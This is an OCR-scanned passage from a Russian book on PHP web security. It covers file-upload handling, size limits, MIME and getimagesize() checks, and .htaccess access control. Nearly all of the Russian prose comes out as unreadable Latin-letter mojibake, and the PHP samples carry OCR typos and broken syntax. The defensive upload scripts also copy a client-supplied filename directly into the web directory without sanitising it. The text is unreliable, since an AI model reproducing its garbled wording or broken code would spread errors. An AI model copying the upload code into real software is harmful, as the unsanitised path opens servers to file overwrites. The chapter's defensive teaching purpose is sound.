HO M KHONKY juis BeiGopa daiina. TMoce HaxaTus 310l KHONMKK Ha 3KpaHe Oyuer
MOABNATLCS CTAHAAPTHOE OKHO BuiGopa daitna (puc. 5.1).

1 - Flenov lnterr

I_aaa:wammu-b

O RGP -g};m

Puc. 5.1. Popma oTnpasky naHHsX

A Kak Oyner mpomcxomnTh cama nepesaya naHubx? Bpaysep He MOXET cO3aTH
coeanHenHe ¢ (paiioM cHeHAPWS M MepeaasaTh eMy jJaHHbie. DTo Oyger caui-
KOM CIIOXHO, 4 B HEKOTOpBIX CIy4yasX MpocTo HepoiMoxHo. Ho Geuto HaitneHo
BETUKOMEITHOE pellieHue — TOC/He HAKATHA KHOMKH OTMPaBKH AaHHBIX daiin 3a-
rpyXaeTcs BO BPEMEHHBIH KAaTaJor, U TONLKO TOTAA 3aMycKaeTcs yKasaHHbI ciie-
Hapuit.

M3 cuenapus MBI MOXEM yBMIETh JaHHble aiina wepes Maccus
$HTTP_POST_FILES, DTOT MaccHB siBasierTcs asyMmepHbiM. Tlepsslit ypoBeHb onpe-
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AensieT MMEHA NoNeH, 'B KOTOPLIX Haxonsrest napamerpbt (hafina. Onua dopma
MOXET OTHPAaBIsATh HECKONBKO (aitios, MO3TOMY SHTTP_POST_FILES [nosme] yKa-
3biBaeT HA HyXKHbii Ham ¢aitn. B ¢opme, onncanHoil paHee, noje sl BBOJR
uMeHn aitna HaseBaeTcs filel, MOITOMY M3 CUEHApUs K ITOMY (baitny obparua-
eMCAl TaK: SHTTP_POST FILES["filel"]. _

Bropoii ypoBeHs onpenenser cuoiicTea 3arpyxensoro aitia. Bnecb eCTH clie-
IylolHe SIeMEeHTHL:

O tmp_ —mnpeue&mom@ﬂm,mma&maammndnﬂnnm
O name — uMaA (paiiya HCTOYHWKA HA MALIWHE KIHEHTA;
O type — Tun dajina;

O size — paamep paiina.

Wrak, urobsl yBumers WMsi BpemeHHoro ¢aiina, Kyna ﬁbma 3arpyXeHbl JaHHbBIE,
HAMULIEM: $PHP_POST FILES["filel”]["tmp_name"].

Ho aro eme He Bee. Bpemennsiit gaitn Ha Unix-cepsepax, 4alle BCEro, CO3IaeTcs
B KaTajiore /tmp, KoTopsiii smisiercs obmesocTynHsiM. B Hero mMoryr nucarsh Bee
rmojib3oBatenu, 4ro HeGesonacHo. K rtomy xe, BpeMeHHbI (aiiln MOXeT GbITh
ynaneH cucremoil. Byser namHoro sddexrusHee, eclM B CUEHAPHW ITOT chaiin
OyjeT cKONMMPOBAH B CNEUWANEHO BHIAGNEHHEIA IS JAHHBIX LeAel KaTaior.
Crenyouuit nprMep NMOKA3RIBALT, KAK MOXHO TONYYHTh daitn oT nois3oBarens,
CKOITMPOBATh €ro B Karaior /var/www/hmﬂ/ﬁlcs u orobpasuTth MHMOPMAILTIO
o caiine:

<?php

print ("<P> Pilg Size: %s", SHTTP_POST _FILES["filel*]("size"]);

print("<P> File Type: %s", SHITP_POST FILES["filel"]["type"]);
print("<P> File Name: %s5", $HTTP_POST FILES["filel"]["name"]);

print ("<P> Temp File Name: %s*,

$HTTPE_POST_FILES["filel"] ["tmp_name")]);

if (copy($PHP_POST FILES["filel"]["tmp_name"],

" /vax/www/html/files/" .SHTTP_POST FILES(["filel"]["name"]))
‘print ("Komposaune sasepmexo");
print ("OmGra wonupoBasuA Qaitna 1</B>");

7>

3arpyska MoxeT ObiThb OTKIIOHeHA B KoHGurypauuoHHoM daiine phpiini. OT-
Kpoiite sroT (aiin M nposepkTe AUPEKTHBY file_ uploads. Yrobel y pac 6wina
BO3SMOXHOCTE 3arpyXarh Gaiisl Ha cepBep, TOT napaMerp jo/bkeH OuITh paBeH on.
Eciv BaliM CLUEHAPHA HE 3arpyXaloT NaHHbIe, TO yOenuTech, YTo OH paBeH off,

B 3ax. 1315
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yrobbl BaroMuIMK GsUT He B cocrosHuM Henons3osats PHP u sarpysuts daiin xa
cepsep,
3arpyaka MoXeT 3aBepiIuTLCs OMOKOH W NpU HeXBATKe Npas Ha 3amHCh B Kara-
qor. Ecnu y pac et npas, To aiin coanars Gyner Henbas.
Ecan BE ncnonb3yere rnoGatbHele NepeMeHHsle (U 9TOro B KOHMHTypalHoH-
Hom daiine nUpeKTHBA register_globals A0/DKHA GBITH paBHa on), TO K 3THM
JKe rnapaMeTpaM MOXHO MOJYYMTh AOCTYI Yepe3 CAESAYIOLIME NepeMeHHbIe:

0O $filel — uMs BpeMeHHOro (aiina;
0 $filel_name — uM# (hajina Ha cepsepe;
0O sfilel_size — pasmep;
0O sfilel_rype — THI (haiina.
To ecTh TOT Xe KOJI 3arpy3Ku MOXKeT BRINIANETh CleayiolumM o6pasom:
<?php

print ("<P>Temp file name $filel");

print ("<P>File name $filel name");

print("<P>File size $filel_size");

print ("<P>File type $filel_type"):

if (copy($filel}
" /var/www/html/files/".$filel_name) )
print ("<P><B>Complete</B>") ;
else
print ("Oumbka xomupomauus pafina 1</B>");

?>

MMonpoGyiite BHIMONHATEL CHEHAPHI ¥ MOCMOTPETh HA MMs BpeMEHHOro daiina.
A sarpysun daiin file.txt, a spemenHbif ¢aiin 6bu1 Haszsan /tmp/phpmIlXXc.
Cepsep u3MeHsieT UMs 110 CBOEMY YCMOTPEHMIO, ITOITOMY PEalbHOE MM HYXHO
Gpate M3 napamerpa $filel_name, T.E. M3 PEAIbHOIO WMEHM, NEPENAHHOIO
C KOMITBbIOTEpa-KIHeHTa.

Teneps paccMOTpUM H3MeHeHME NpPaB IOCTYTA 3arpyxXeHHoro Ha cepeep dalina
Ha npumepe CyD FTP Client XP (www.cydsoft.com). INonxmouaemes K cepsepy,
BBUIEsIEM 3arpyxeHHbi dain u Bsibupaem meHio Remote | File permissions
(Vnaneunwit | Qaitnossie paspemwennst) (puc. 5.2), OGparure BHUMAaHME, YTO
paspeluieHo MpakTHYeckKn Bce. ECHM CPaBHMTH 3TH NpaBa C NpaBaMM Kartanora,
Kyla NMpoM30LLIA 3arpy3Ka, TO Bbl YBHIWTE, YTO OHM HEEHTHYHBEL. Bbl MOJDKHBI
YYHTHIBATH 3TO: MOCJE 3arpysKM HYXHO KOPpeKTHpPOBAaTh npasa, a uMeHHO y6u-
paTh TipaBa Ha 3anuck B (aiin ¥ BeHTONHEHWE, YTOOL! B3TOMIIHK He CMOI NOIME-
HUTH CONEPXHMOE WIM BBINONHHTL JATPYKEHHLI cueHapwit. O npasax mocryna
B cucreme Linux MOXHO mpouuTaTh B KHUTe "Linux rmasamu xaxepa" [1].
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ﬁ Group:  [¥] Read [Clwiie [¥] Exscute:
|| Puble:  [F]Read & Wiite Ez;uu
’ (LatResd | [ atwie | [ A1Esecue |

Pwue. 5.2. MNpaea pocryna Kk daiiny

PaccmoTpuM elie OfHY KIACCHYECKYI0 3afadyy — OrpaHHueHHe pasMepa 3arpy-
xaemoro (aitia. 1o MOXKHO cienars TpeMs crocofamMi: ¢ MOMOLIBGI0 OrpaHnye-

Hust pasMepa caiina 8 HTML-dopme, Ha cropoHe cepsepa U ¢ MOMOIIBIO, Tapa-
Metpa KoHburypawmonHoro aitta. [Inn orpanmuenns B HTML-dopme
HeobxoaumMo H06aBUTE HEBHAMMOE I10/1e ¢ HMEHEM MAX _FILE_SIZE, 4 B KauecTse

3HAYEHUS] YKasaTh HYXHEI pasmep:
<input typa='hiddﬁn“ name="MAX_ FILE SIZE" value="300">

B nanHOM npuMepe B KauecTBe MaKCHMAIBHOIO pasMepa YKasaHO 3HayeHue
300 Gaitr. @aisl OonbLIero paaMepa Ha cepBep 3arpyxarbcs He GyayT.
Dra cTPOKA JO/DKHA MIATH 10 ONUCAHMs noist BBoga umenu daiina. Torna dopma
orrpaBk| (haiina Gymer BHIVIAAETE cAeAyoumM obpasom:
<form action="http://192.168.77.1/1/post.php" method="post"
enctype="multipart/form-data">

Ornpaska Qainos:

<input type="hidden" name="MAX FILE SIZE" value="300">

<br><input name="f£ilel" type="file">

<br><input type="submit"™ value="Send files">
</form>

Monpo6yitte Teneps 3arpy3uts ¢aiin Gonblue paspelmieHHOTo pasMepa. Ynpasnie-
Hue Oymer nepegdHo CUEHAPMIO, HO mpu 3ToM (ailn He Oyaer sarpyXxeH Ha
cepBep, MO3TOMY mapamerp pasmepa daita $filel_size Oyner paBeH HYIO,
a WM BpemeHHOro Qaiina $filel_size Oyner paBHO none. Takum oGpasom,
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B PHP"CHEHRPHR W m ey TSR
MPOUSBOAUTE KOMUPOBAHMKE:

if (5f1191=="nonee'!

die("¢afn crmkom, Bonsmoi") ;

Henocratok 9T0Oro MeTONa 3aKiiOMaeTcs B TOM, YTO XAKep MOXET JIErKO YHANHTS
HEeBHIMMOE TI0JIE ¢ OrpaHHYeHHeM, Bellh MPoBepKa GyIeT NPOMCXOAUTH Ha CTOpO-
ne wmenta 8 HTML-dopme. [TostoMy Nydiue npoM3BOANTE TPOBEPKY HA CTO-
poHe cepBepa, Koraa caitn Gyaer sarpyxeH:
<?php
if {Sf:.lel_ﬁizea-lO‘lQ?ﬂ
die ("Crvmxkom Gonbwol pasmep dafuma™) ;

if (copy($filel,
" fvar/www/html/files/" . $filel_name) )
print ("<P><B>Complete</B>") ;
else
print ("OmmiGxa xonupopanuua bdafina 1</B>");

>

B aToM mpuMepe MBI B HaYaie cUEHApUs MPOBepAeM, UTODbI pasMep 3arpyxeH-
Horo chaitna He Gbur Gosnee 10 K6aiit (10, ymuoxenHoe Ha 1024 Gaiir, 1. €. Ha
1 K6aiir).

[IpeuMyIiecTBO 3TOr0 MeTOAA COCTOMT B TOM, YTO uponapxy He yaacres ybpars,
ecIM He MMETh J0CTYNA K MCXONHOMY KO/ CLCHApUA M BO3MOXHOCTH €ro peadx-
TUPOBAHMS.

Mocnenuuii criocob — H3MeHEHHe NHPEKTHBH upload_max_filesize KOHGHIY-
paumonnoro daitna php.ini. Crrenyiomuit IpuMep yeraHanMBaeT MaKCHMANBHLIH
pasmep B 2 Mbaiir.

upload_max_filesize = 2M

Henocratok Bcex MeTozoB: ToT (haKT, 4TO MOIb3OBATeNb BbIOpan ciuikoM 6ois-
Woit haiin, craHeT W3BECTHBIM TOJNBKO TOCHE ero 3arpysku. Oro Tpara Tpaduka u
BPEMEHH, YTO He MOHpPaBHTCA A0OPOMOPSIOYHLIM 10IE30BATENSAM Balllero caiira.

5.2. NpoBepka KOppeKTHOCTH thaina

B paszdene 5.1 mbl BbIACHWIM, 4TO rpH 3arpyske ¢aiyios BosHuKaer npobnema
npas noctyna. Yrobul aiin MokHO GbUIO 3arpy3uTh, HA KATANOT NO/DKHBI ObITH
YCTaHOB/IEHEI MPABA HA 3amyWch W1 BCEX mosbsosareneil. 3arpyxennsii daiin no
YMOTYEHAI0 MOXET MMeTh 1paBa Ha BeImonHeHnwe. Takum obpasom, eciH Xakep
sarpysuT cBoii PHP-cuenapuii 1 CyMeeT BHITIONHUTE €ro Ha cepsepe, To 310 Mo-
KET TIPHBECTH K BIIOMY BCETo cepBepa.
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Yr1obul xakep He CMOr 3arpy3uTh HHYEro OMacHOTO Ul Baulero cepsepa, Heobxo-
JIUMO CHEINTH 33 CONEePNKMMBIM 3aKAuUNBAEMbIX HaHHLIX. Hanpumep, oyeHb YacTo
HA ¢opyMe TMOb3OBATENAM [IPelocTABASIeTesl BOSMOXHOCTh 3aKAMUBATE CBOM
KapTHHKH, KoTopeie 6ynyt orobpaxarscsd Hax coobuexmnsmu. Ho npu srom mbl
nomKHb! BBITh YBepeHsl, uto B daitie aeficTBuTeNbHO rpaduyecKue NaHHbIE, a He
TEKCT M, TeM Gonee, He mporpamma Ha s3sike PHP, Kax B stom ybemnrees?

Onnoit nposepkn ailios RuKoraa He OwiBaer goctarouno. Hyxuo obasarens-
HO HECKOJIBKO STArnoB KOHTPOMS HAHHAIX, MOTOMY YTO OAMH YpoBeHb OBOHTH
BCETia HAMHOIO mpoie. OOGcyIMM, KAKHe NPOBEPKY MOXHO clenatsh s dait-
JIOB KAPTHHOK.

Monpobyiite 3akayaTh Ha cepBep rpadudeckuit q;am B ¢opm GIF ¢ nomo-
WIBIO CLUEHAPUS, ONMMCAHHOTO B pasdere 5.2. B nojie type Gyaer comepkarbes
TeKeT image/gif. [lo 3HAKA CI9II HAXOMUTCS THUM image, a focie ci2llia CTOUT
pacumpenne daivta. s JPEG-gaitioB nocie cisma MOXHO YBHIETH OHO M3
pacumiperuit jpg, jpeg nau pjpeg, a s PNG-galina Oyaer png. Bee sti munm
TOANEPXKUBAIOTCS BONBITHHCTBOM COBPeMEHHBIX Opay3epoB, W MMEHHO HX MbI
Gynem NMpoBEpPATS.

A rteneps nonpobyem nepeMEHOBaTh MPOCTON TEKCTOBLINH (aiin co clueHapuem
B daitn ¢ pacuiumpenneM gif 1 3aKavaeM TeM Xe cueHapuem. B mepemeHHoil type
byner plain/text, Xotd, cyns Mo paciinpeHuio, aror ¢aiin gomken GuITh rpa-
duvecknm; nporpamva "BHIMT', uTo THT daiina Tekcroseni. TMonyyaercs, uro
He/b3s BEPUTh PACUIMPEHIIO, & BOT THITY (haiiia MOXKHO AOBEpATH.

B smctunre 5.1 nokasas npumep, B KoTopoM T (aitia pasbusaercst Ha cocTas-
nsolIne (10 M Tocse cisia), 4 MOTOM TTPOHCXORMT MPOBepKa HOCTOBEPHOCTH
pacimpenus ¥ THna. [ Toro 4Tobel pasbuTh HA YACTH TEKCT, comepxaumiics B
nonie Tuna Qaitna, yraTHo nmoaxoiuT HYHKLHA preg.match () ¢ PETVASPHBIM Bbi-
paxeHueM ' ([a-z]+)\/[x\-1*([a-z]+)"'. 3aTeM NPOMCXONUT MPOBEPKA MOMY-
YEHHOTO THIMA C TIOMOIIBIO OMeparopa switch. ECAM OH He COOTBETCTBYET HM

OIHOMY W3 paspemieHHsIX (COOTBETCTBYIOINX KAPTHHKAM), TO BbI3hIBAETCH METOX
die () mnsa 3asepireHns paboThl CLEHAPUA.

<?php
preg_match("' ([a-z]+)\/[x\-]1*([a-z]+)'", $filel type, Sext);
print("<P>$ext[1]");

print("<P>$ext[2]");

switch(Sext[2])
{
case "jpg":
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cazse "jpeg":
case "pipeg":
case "gif":
case "png":
break;
default:
die("<P>This is not image");

if (copy($filel, " /var/www/html/files/".$filel_name) )
print ("<P><B>Camplete</B>") ;
else
print("<P>Error copy file 1</B>");
7>

Ho atoro nepocratoyrno. Hesmmue o xonupopanus daitia mpoBeputh pasmep
KapTHHKH. [laxe ecam y Bac HeT OrpaHWuYeHWs HA pasmep daiina, nonesHo Bui-
3BaTh (PYHKUMIO getimagesize(). IToit dyHKuMM nepesaercs nyTe K daitny,
a B pesynbTarte MBI noayyaeMm pasmepsl kaptTuHku. Ecau Bo Bpems ompenenenus
pasmepa KapTHHKH € MOMOINGI0 getimagesize () Tpod3oiaer ommbka, T0 Boa-
Bpataemsie pasmepst Oyayr pasHsl Hymo. [doctarouso nposeputs nwoboft u3 na-
pamerpos. Eciu oH pasen Hymio, To B Kayectse (aitia nepeaaHa He KapTHHKA.
Crenywownii npuMep NoKa3bIBaeT, KAK MOXHO BBITIONHUTH IPOBEPKY KOPPEKTHO-
et caiina yepes onpeneneHue ero pasMepa:
$im_prop=getimagesize($filel);
print ("<P>$im prop[0]x$im prop[1]");
if ($im prop(0]>0)
{
if (copy($filel,"/var/www/html/files/".$filel_name))
print ("<P><B>Complete</B>");
else
print ("<P>Error copy file 1</B>");
}
else
die("Image size error")

DyHKIMA getimagesize() BO3BpalllaeT MaccHB M3 cBoOMcTB rpaduyeckoro daii-
na. B 3ToM MaccuBe BNeMEHTH! HYMEPYIOTCsl ¢ HYJISl M CONepXKaT cleayioliee:

O wHpuHA KAPTHHKH;

O swicoTa;
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O mun, toe 1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF, 5 = PSD, 6 = BMP,
7 = TIFF (dopmar intel), 8 = TIFF (dopmar motorola), 9 = JPC, 10 = JP2,
11 =JPX;

O crpoKa BHOA height="yyy" widths="xxx",

Takum obpasoM, daiin MOXHO KOMMPOBATH TOABKO B TOM Cly4dé, KOria sHave-
HHMA HYNIEBOTO M mepsoro 2/eMenTa Gonmsiue Hyns. KapTuHka He NOKHA MMETb
LUIMPUHY WIM BBICOTY PaBHON HYMIO, WHA4Ye OHA GSCCMBICHCHHA WM CONEPXKUT
HEKOPPEKTHBIE AaHHEIE.

JBoiiHas nposepka yxe Gonee HameXxHa, HO He SBASETCA PEIIEHHEM BCeX Mpo-
6nem GesomacHoctd. Hanpumep, HenasHo Onula Halinena owmbka B QyHKUMSIX
onpeneneins pasmepa B PHP. Jla, dynxumit Heckonsko. [Uis kaxaoro Tuma
daitna ectb cBos yHKUMA, HO Bee OHM OOBEMMHEHBI B OIHY getimagesize().
Ecu cuenapuio nepenars rpacuueckuii daitn TIFF, B xoropom Gyner ykasaH
pasMep —8, To cueHapuii nonagaer B 66CKOHEMHBIN UMK M BBINOJHSETCS, NMoKa
He MOMIOTHT BCe pecypes cepBepa. TakuM obpasoM, OfMH Xakep moxer Ge3 npo-
GneM npomsBecTH araky orkasza or obcayxusanms (DoS, Denial of Service).
Oumbka ects u B Gysakumn obpaborkn JPEG-daitna.

S noHumalw, 4ro OWMOKa B QYHKUMN getimagesize() — 9T0 npobaema paspa-
Gorunkoe PHP, a He Haumiero clieHapusi, HO OHAa CYLIECTBYeT, W 3aKPHIBATH HA
Hee IJ1a3a HeNb3sd, MO3TOMY HAlllA 3a/ia4a — CIEHHTh 33 GE30MacHOCTHIO He TOMb-
KO CLEHApHA, HO TAKXKE CEpPBEPa W WCIONb3YEMBIX NPOrpaMM M CBOSBPEMEHHO
obxoBnaTe ux. Kakum 66l GezomacHsM HM GBUI CLEHAPHI, OMAacHOCTh MOXeET
HACTHTHYTh HAC C APYIUX CTOPOH,

5.3. 3anperHan 30Ha

O6HosnaTs HHbopMauyio Ha caiite yepes FTP-KINEHT ¢ MOMONLIBIO 3aKAYKH HO-
BhIX (hailmoB mocrarouHo HEyAoOHO M He Bcerza Bo3MoXHO. Hampumep, MHe
MPUXOMHMIOCH BCTpeuarTbesl ¢ cersimu, e moBoit moctynm B MHTepHer, kpome
HTTP, Gbin sanpeuteH, a 3Ha4ur, FTP -IPOTOKON He Okl moctymeH. MmeHHOo
TOrd 5 3amyMaicsl O MepBoif cucTeMe aIMHHHCTPHPOBaHHS calfiToM depes Web-
uHTepdeiic.

CueHapid anIMUHHCTPHPOBAHHUS I[TO3BOJSIOT YNPABIATE couepXuMuiM  Web-
CTPAaHMIL, ITO3TOMY JOJDKHB! GBITE 3aKPHITHI OT MOCTOpoHHero Barmsna. s aroro
HeoOXomMMa OTHAENBHAsA 3allMTa, KOTOpas O3BOJMT BAM CNAaTh CNOKOHHO M He
HacT XaKkepy BBINOMHHUTH NMPUBHJIErHPOBaHHBIe onepaumu. s 3TOro HaM HYXHBI
addeKTuBHbBIC CPeACcTBa ayTeHTH(UKALMK HaA cepBepe..

5.3.1. Ayrentuchnkauma Web-cepsepa

Ecmm kakoit-mubo xaranor Web-ceppepa nomkeH uMers ocobble npasa jocTyna,
TO MOXHO CO3/1aTh B 3ToM Karanore ailn .htaccess. B arom daiine onmcsisaores
paspelieH s, KOTOpbie AEHCTBYIOT Ha Karaior, rae Haxomutes aror daiin. TMpu
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obpautennu K oGomy daiiny ua xaraiora Web-cepsep Gyner tpebGosarh ayTen-
tudukamnn. [a, ayreatudukamwnu Gyner Tpebosars mmeHHo Web-cepsep, u
B CLIEHAPUH HHYero nucarh He Hamo. Takum o6pasom, Bbl MONyYaeTe B CHOE pac-
nopsokeHne 3GGEKTHBHBIA 1 oTIAKEHHBIH rotamMu MeTon obecrieuenna Gesonac-
HOCTH KOH(HICHINANBHBIX JTAHHLIX.

PaccmoTpuM npuMep coiepXXuMoro (baﬁ.lla .htaccess:

ruthType Basic

AuthName "By Invitation Only"

AuthUserFile /pub/home/flenov/passwd

Require valid-user

B rnepBoit cTpoke Mbl 3amaeM THI AYTEHTH(MWKAUHMH C [MOMOINBIO AMPEKTHBSI
authType. B maHHOM mpuMepe B KavuecTBe ayTeHTHOUKAIMK Wenonb3yeres Gaso-
Bas — Basic, TpH KoTopoit Web-cepsep npu obpauienun K Karamory orobpasut
OKHO /U BBOZA MMeHM W naponst. TeKer, ykasanHblil B AMpeKTHBE AuthName,
MOSIBHTCS B 3arojioeke okxa. Ha puc. 5.3 npusenex rtpmep TAKOTO OKHA.

Puc. 5.3. OkHO 3anpoca umeHn u napons

AupexTusa AuthUserFile sajaer ¢aiii, B KoTopom Haxomures 6asa UMEH W na-
porneil mons3osareeit caiita. O TOM, KaK co3nasath Takoit daiin u paborars
¢ HUM, MBI TOroBopuM moaxe. [TocneHsAs OMPEeKTHBA Require B KA4eCTBe Napa-
METPa MCIIONb3YeT 3HAYeHWE valid-user. ITO 3HAYMT, 4T0 (Al B TEKyuleM
KaTajiore CMOTYT OTKPHITH TOJABKO T€ TIONB30BATENH, KOTOpEIE TIPOLILIN ayTeHTH-
dukaumio,

Bor Takum mpocTeiM crioco6oM MOXHO 3arpeTHTh HEaBTOPH3OBAHHLIN HoCTYM
K KATAIOry, collepXalleMy CEeKpeTHbIE JAHHBIE MJIM CHeHApHM aIMHHMUCTpaTopa.
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B daiine .htaccess MOryrT HAXOHUTHCHA M HAMPEKTHBBI THNA allow from. CHayana
MOCMOTPUM Ha NPUMED, a MOTOM YBUIIMM, KaK €ro MCo/Ib30BaTh:

order allow;deny
allow from all

[epsoe obbiBAeHNE 3aaeT NPaBa KOCTYNA K OTpeIeNeHHOMY KATAlOrY Ha AUCKe
(B maHHOM ciyuae /var/www/hr.ml) a BTOpoe — OTPaHMYMBAET JOCTYM K BHPTY-
@IbHOMY Karaiory (B npusenerHoM ripumepe hitp://servername/server-status).
Teneps pACCMOTPHM, KAK 3aalOTCsl Mpasa JocTyna. [UIsi 5TOro MCNONb3yioTCs
chefyiolme AMpeKTHBEI:

(1 allow from napamerp — ONPEAENSLT, ¢ KAKUX XOCTOB MOXHO NOAYIHTH noc-
TYN K yKasaHHOMY karanory. B kadecrse napaMeTp Moxmo HCIoJIb30BaTh 01~
HO 3 CHEAYIOIHX 3HaAYeHUH!

* all — JOCTYN K KATANOTY Pa3pemies Boem;

¢ nomeHHoe ums — OIpPEENseT AOMEH, C lCO'l‘DpOI‘O MOXHO MOJIYHUTE HOCTYII
K karanory. Hanpumep, MOXHO ykasars domain.com. B atom ciydae Tomb-
KO TOJb30BATE/H ITOr0 JAOMEHA CMOTYT MONYYHTh AOCTYN K KATANOTY Yyepes
Web. Ecnn kakas-nubo nanka comepxuT onacHsie ¢aiiibl, ¢ KOTOphIMH
HOMKHBEL pabotarh TOALKO BBI, TO JIydie orpaﬂwmm JIOCTYTT CBOUM OMe€-
HOM WK mbxn NOKANBHOM MAWWHOI, YKA3aB anow from localhost;

* IP-ampec — CYXaeT JOCTYN K KATanory Jo onpenanennum IP-anpeca. Bro
OYeHb YI06HO, KOTAA y BALIETO KOMILIOTEPA €CTh BBUIEIEHHEBIH anpec, u Bbl
XOTUTE OBECIeYnTh NOCTYN K KATANOTY, CONEPIKAIIEMY aIMHHHCTPATOPCKHAS
CUeHapiH, TONBKO /Ut cebsi. Allpec MOXeT GhITh KaK MONHBIM, TAK M HernoJ-
HBIM, YTO MO3BONSIET OFpaHWYHTS JIOCTYT K KATANOTY ONpeeNeHHO CeThio;

® env=imallepementoi — JOCTYIl paspelleH, €CH ONpe/ieNeHa YKA3AHHAS
nepeMeHHas  okpyxenus. TIlomumii Qopmar aupexTHBh: allow from
env=1uallepeMeHHON,

O deny from napamerp — 3aNpPElIeHNE JOCTYNA K yKasanHoMmy karaiory. [la-
paMeTphbl TakWe XKe, KaK y KOMaHIbl allow f£rom, TONBKO B JAHHOM ciyuyae
3AKPBIBAETCS AOCTYI Ul YKA3AHHBIX aXpecoB, IIOMEHOB M T. 1.}

O order napamerp — OYEPEIHOCTH, B KOTOPOH NMPUMEHSIOTCH AUPEKTHBH allow
H deny. Moxer ObiTh TPH BapHaHTa:

e order deny, allow — W3HAYATLHO BCE PaspeilieHo, MOTOM TIPAMEHSIOTCS
sanpersl, a 3aTeM paspellieHus. PexoMeHayeTes HCHONBIOBATL TONBKO LIS
oDIIMX KATAIOTOB, B KOTOpBIE IMOL30BATENH MOTYT CAMOCTONTENBHO 3aKa-
yuBarhk (aiinel, HanpuMep, CBOH N300paKeHNs;

e order allow, deny — CHauYajga BCE 3ANPELIEHO, BCNEN 32 ITUM TIPHMEHS-
10TCst paspelueHus, 3areM sanpeieHusi. PexoMeHayercs NPUMEHSTS s
BCEX KATAJIOTOB CO CLEHAPMAMM,
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® order mutual-failure — H3IHAYAIBHO 3alTpPEIIEH JIOCTYN BCEM, KpoMme

MepeyHCAEHHBIX B allow ¥ B TO XK€ BPeMsi OTCYTCTBYIOUIMX B deny. Cope-
TYIO YKA3bIBaTh STOT BAPHAHT JUIS BCEX KATANOTOB, TAe Haxomsres aitiisl,

WCTIONB3YeMblE ONpeneNeHHbIM KPYroM NHll, HAMpUMEpP, AIMHHUCTPATOP-
CKHE CLICHAPWH;

O Require napamerp — TO3BOJSICT 34JaTh MO/b30OBATENEH, KOTOPEIM paspemied
HOCTYI K Karanory. B kayecTse napaMerpa MOXHO YKa3bIBATD:

user — HMMeHa Tioab3opareneit (wmn ux ID), KoTOpLIM paspellleH HOCTY
K Karanory. Hanpumep, Require user robert FlenovM,

group — HA3BAHMsl TPYIN, TMONLIOBATE/NSIM KOTOPHIX paspemieH JoCTyn
K Karanory. /Iupektusa paGoTaer Tak Xe, KaK W user;

valid-user — HOCTYN K KarTajgory paspeuieH noGomy ayreHTHOHUIHPOBAH-
HOMY MOJIb30BATEIN0;

O satisfy napamerp — €CJIH YKa3aTh 3HaYCHHE any, TO Ul OTPaAHUMEHUSA ADC-
TYNa MCIIOMB3YeTCsl Wik JloruH/mapons, wm IP-anpec. [l unentuduxammumn
TIONB30OBATES 110 ABYM YCJIOBUAM OIHOBpPEMEHHO HANO 3a1aTh all,

O AllowOverwrite napamerp — ONpefeNser, Kakue IMPeKTHBB M3 dajina
Jtaccess B yKasaHHOM Karalmore MOTYT nepekphiBarh KoHpurypaumio Web-
cepsepa (KoHpurypauno ua daitra httpd.conf ais cepsepa Apache). B xase-
CTBE napamerp MOXHO YKa3aTh OAHO M3 CIEAYIOUIMX 3HAYEHWI: None, All,
AuthConfig, FileInfo, Indexes, Limit u Options;

0O options [+ | -] nmapamerp — OINpenensieT BoaMoXxHocTHn Web-cepsepa, Ko-
TOpBIE JOCTYIHBI B JaHHOM Karajore. Ecan y pac ecTh Karasor, B KOTOphiit
NIO/Ib30BATEAM PA3pellieHO 3aKAYMBATH KApTHMHKH, TO BIIOJHE JIOTUYHBIM B~
JisieTcsl 3ampeT Ha BHIMOJHEHWe B HeM obbix ciieHapnes. He wano HanesTses,
YTO BEl CYMEETe MPOrpaMMHO 3alpeTHTh 3arpy3Ky mobeix daitnos, Kpome
u3obpaxennii. Xakep Moxer HaliTH crocof 3aKAYaTh MOCTHHIN KO W BEI-
TIOMHHUTL ero B cHereme. C MoMOIIBIO onuMi MOXHO cenars Tak, Yrobsl cue-
Hapuii He BeimonHuiIcs Web-cepsepou.

Hrak, nocne KIiOYEBOro caoBa MOXHO CTABMTH IHAKHM IUTIOC WIM MHHYC, HTO

COOTBETCTBYET Pa3pelieHnIo WIK 3anpeienuio orniun. B kavyectee napamerp
YKa3bIBAETCSH OXHO W3 CAENYIOUMX SHAMSHMI:

all — Bee, kpome MultiView. Ecnu ykasath CTpOKy Option + All, 1O
B IaHHOM KaTtanore GynyT paspemens! mobsie neiicteus, kpoMe MultiView,
KOTOPHIil 3aaeTcst OTAEIBHO,;

ExecCGI — paspewieno BeimonHenne CGl-cuenapues. Yame scero, mis
3TOT0 MCTIONB3YETCH OTAENBHLIN Karanor /ocgi-bin, HO ¥ B HEM MOXHO OIl-
pefenuTh OTAENbHEIE KATAIOTH, B KOTOPLIX 3aNpelleHo BLIMOJHEHHE;

FollowSymLinks — TMO3BOJAET MCIONB30OBATH CHMBOJNIBHBIE CCHUIKH. YOe-
JWTECH, YTO B KATAJIOrE HET OMACHBIX CCHUIOK, M WX TpaBa He U3GBITOUHBI,
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Ml yke roBopwiH B pasdere 3.1.3 o TOM, 4TO CCRUIKM camu Tio cefie omac-
HBl, TI03TOMY C HUMH HY)XHO 0Bpaluarsesi akKypaTHo, rie 6bl oM HE GbUTH;
¢ SymLinksIfOwnerMatch — CHNENOBaTh MO CHMBOJBHBIM CCHUIKAM, TOJBKO
" ecny BlAzeNblnbl UeneBoro daitna u cobliky cosnanaior. Ilpu uenosns3osa-
HHM CUMBONBHBIX CCBUIOK B JAHHOM KaTalore jJydille yKasarb 3TOT rapa-
METpP BMECTO FollowSymLinks. EciM Xakep cCMOXET €o3aTh CCHUIKY HA Ka-
Tanor fetc u npocnaenyer mo Heit us Web-Gpaysepa, TO BOIHMKHYT
cepbe3HbIe npobaeMsl B 6e30IACHOCTH;

e Includes — ucnonbsopatb SSI (Server Side Include, NOAKIIOEHHe HA
cepBepe); !
e IncludesNOEXEC — Hemonb3osath SSI, kpome exec W include. Ecmm BH

He ucnonssyere p cueHapuax CGI stv KoMaHusl, TO QaHHAS ONLIMS SIBSi-
ercsl MpeAnoYTHTEbHee MPebILyLIei;

® Indexes — OTOGPasUTh CIUCOK CONEPXHUMOrO Katajora, ecid OTCYTCTBYET
taitn no ymonuanuio. Yaue scero, monb3oparenn Habupaior anpeca B yKO-
poyeHHoM (opmare, Hanpumep, www.cydsoft.com. 3necs He ykasan caiin,
Koropbiit HyXHO 3arpy3uth. [Tonusni URL seirmsmnt kak www.cydsoft.com/
index.htm. B mepsom BapuanTe ceppep cam wuieT $aiin 1Mo yMoINaHMIO
